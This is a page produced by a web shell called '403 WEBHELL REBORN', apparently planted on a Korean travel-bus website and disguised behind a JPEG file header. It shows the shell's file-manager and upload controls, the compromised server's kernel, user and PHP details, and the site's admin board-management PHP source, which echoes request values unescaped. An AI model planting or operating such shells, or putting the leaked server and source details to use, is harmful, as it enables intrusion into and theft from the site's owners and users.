ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/board/board_list_ajax.php
<?
/**
 * 3차코드 정보 수정 ajax
 *
 * 작성일 : 20130501.허종
 */
include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";

$board_info_list = array();//3차코드(오른쪽)

if($GRP_CD) $board_info_list = board_info_list($GRP_CD); // 코드(3차)
$cd_a = "CMM";
$cd_b = "BDTP";

$data_codec = base_codec($cd_a,$cd_b);

?>
<!-- 폼 -->
<form name="frm_write_board" id="frm_write_board" method="post">
<input type="hidden" name="SqlType" value="board_ins">
<input type="hidden" name="GRP_CD" value="<?=$GRP_CD?>"><!-- 2차코드ID -->
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_s_register" summary="게시판을 설정하실 수 있습니다.">
	<caption>게시판 설정</caption>
	<thead>
	</thead>
	<tbody>
	<tr>
		<th class="line_l" scope="row"><label for="BD_NM">게시판이름</label></th>
		<td><input name="BD_NM" id="BD_NM" type="text" size="25" class="input_text" hname="게시판이름" required /></td>
		<th scope="row"><label for="BD_CD">코드</label></th>
		<td><input name="BD_CD" id="BD_CD" type="text" size="12" class="input_text" maxlength="7" style="text-align:center;ime-mode:disabled;text-transform:uppercase;" onChange="javascript:this.value=this.value.toUpperCase();" hname="코드" required />
	</tr>
	<tr>
		<th scope="row"><label for="BD_SORT">종류</label></th>
		<td colspan="3">
			<select name="BD_SORT" id="BD_SORT">
			<?for($i=0 ; $i < count($data_codec) ; $i++ ){?>
				<option value="<?=$data_codec[$i]['code']?>" <?=($data_codec[$i]['code']==$row['BD_SORT'])?"selected":""?>><?=$data_codec[$i]['cd_nm']?></option>
			<?}?>
			</select>&nbsp;<input type="button" class="Table_btn gray" value="등록" onClick="board_ins();" /> </td>
	</tr>
	</tbody>
</table>
</form>
<!-- /폼 -->

<!-- 폼 -->
<form name="frm_list_board" id="frm_list_board" method="post">
<input type="hidden" name="SqlType" value="">
<input type="hidden" name="GRP_CD" value="<?=$GRP_CD?>"><!-- 2차코드ID -->
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list line_l" summary="등록된 게시판입니다.">
	<caption>게시판 설정</caption>
	<colgroup>
	<col style=" width:35px" />
	<col style=" width:40px" />
	<col style=" width:70px" />
	<col />
	<col style=" width:86px" />
  <col style=" width:90px" />
  <col style=" width:85px" />
	</colgroup>
	<thead>
	<tr>
		<th scope="col">사용</th>
		<th scope="col"><a href="javascript:;" onClick="change_board_ordernum();">순서</a></th>
		<th scope="col">코드</th>
		<th scope="col">게시판이름</th>
		<th scope="col">종류</th>
		<th scope="col">개설일</th>
		<th scope="col">수정</th>
	</tr>
	</thead>
	<tbody>
		<?
			for($i=0 ; $i < count($board_info_list) ; $i++){
				$row = $board_info_list[$i];
		?>
		<tr>
			<td>
				<span id="use_codec_<?=$row['BD_CD']?>"><img src="../image/btn/<?=$row['delflag2']?>" onClick="ajax_obj_loader('board_setting_proc.php?SqlType=board_change_flag&GRP_CD=<?=$row['GRP_CD']?>&BD_CD=<?=$row['BD_CD']?>&delflag=<?=$row['delflag_opp']?>','use_codec_<?=$row['BD_CD']?>');" style="cursor:pointer;" /></span>
			</td><!-- 사용/중지 -->
			<td>
      <label for="order_num_arr[]" class="v_none2">주소입력</label>
			<input name="order_num_arr[]" id="order_num_arr[]" type="text" value="<?=$row['OrderNum']?>" class="t_no" maxlength="2" style="text-align:center;ime-mode:inactive;ime-mode:disabled" onKeyDown="ChkNum(this,event);" autocomplete='off' />
			<input type="hidden" name="BD_CD_arr[]" value="<?=$row['BD_CD']?>" />
			</td><!-- 순서 -->
			<td><?=$row['BD_CD']?></td><!-- 2차코드 -->
			<td class="t_title"><?=$row['BD_NM']?></td><!-- 3차코드명 -->
			<td><?=$row['BD_SORT_STR']?></td>
			<td><?=substr($row['BD_DT'],0,10)?></td>
			<td>
				<input class="Table_btn" type="button" value="수정" onClick="to_dialog.ajax('board_edit_ajax.php?GRP_CD=<?=$GRP_CD?>&BD_CD=<?=$row['BD_CD']?>','게시판 정보수정','600','630',true,true);" />
				<?php if($row['delpermit']!="Y") {?><input class="Table_btn gray" type="button" value="삭제" onClick="board_delete('<?=$row['BD_CD']?>','<?=$GRP_CD?>')" /><?php }else{?>
				<input class="Table_btn" title="삭제불가한 게시판입니다.(필수게시판)" type="button" value="삭제" onClick="javascript:alert('삭제불가한 게시판입니다.(필수게시판)');" />
				<?php }?>
			</td><!-- 수정/삭제 -->
	</tr>
	<?}?>
	</tbody>
</table>
</form>
<!-- /폼 -->

<script Language="JavaScript">
//2차 코드 클릭했을때 기존 스타일을 지움.
if(current_codec_id) $('#nm_codeb_'+current_codec_id).removeClass();

//현재 2차코드 저장
current_codec_id = '<?=$GRP_CD?>';

//현재 클릭된 2차코드에 스타일을 바꿈
$('#nm_codeb_<?=$GRP_CD?>').addClass("title_on");


//게시판 순서조정
function change_board_ordernum()
{
	var f = document.frm_list_board;

	f.SqlType.value='board_change_ordernum';
	
	ajax_post('ajax_proc','board_setting_proc.php','frm_list_board');
}

//게시판 새로저장
function board_ins()
{
	var f = document.frm_write_board;

	var result = to_validation(f);
	if(result==false) return false;

	if(!confirm("게시판을 생성합니까?")) return false;

	ajax_post("ajax_proc","board_setting_proc.php","frm_write_board");
}

//게시판 삭제
function board_delete(BD_CD,GRP_CD)
{
	if(!BD_CD || !GRP_CD) return;

	if(!confirm('정말 삭제하시겠습니까?'))return;

	ajax_loader('board_setting_proc.php?SqlType=board_delete&GRP_CD='+GRP_CD+'&BD_CD='+BD_CD);
}

function check_frm_board(){
	var f = document.frm_edit_board;

	var result = to_validation(f);
	if(result==false) return false;

	ajax_post("ajax_proc","board_setting_proc.php","frm_edit_board");
}

//탭분류 추가
function AddSort(){
	var dyntbl = document.getElementById("dyntbl").getElementsByTagName("TBODY")[0];
	data='<INPUT TYPE="text" NAME="BD_TP[]" id="BD_TP[]" class="input" size="10" style="ime-mode:active">';
	var row = document.createElement("tr");
	var col1 = document.createElement("td");

	row.appendChild(col1);
	col1.innerHTML = data;
	dyntbl.appendChild(row);
}

//탭분류 제거
function delRow(){
	var tbl = document.getElementById("dyntbl").getElementsByTagName("TBODY")[0];
	 if (tbl.hasChildNodes()) {
		tbl.removeChild(tbl.lastChild);     // 마지막 로우         //tbl.removeChild(tbl.firstChild);  // 첫번째 로우
	 }
}
</script>

Anon7 - 2021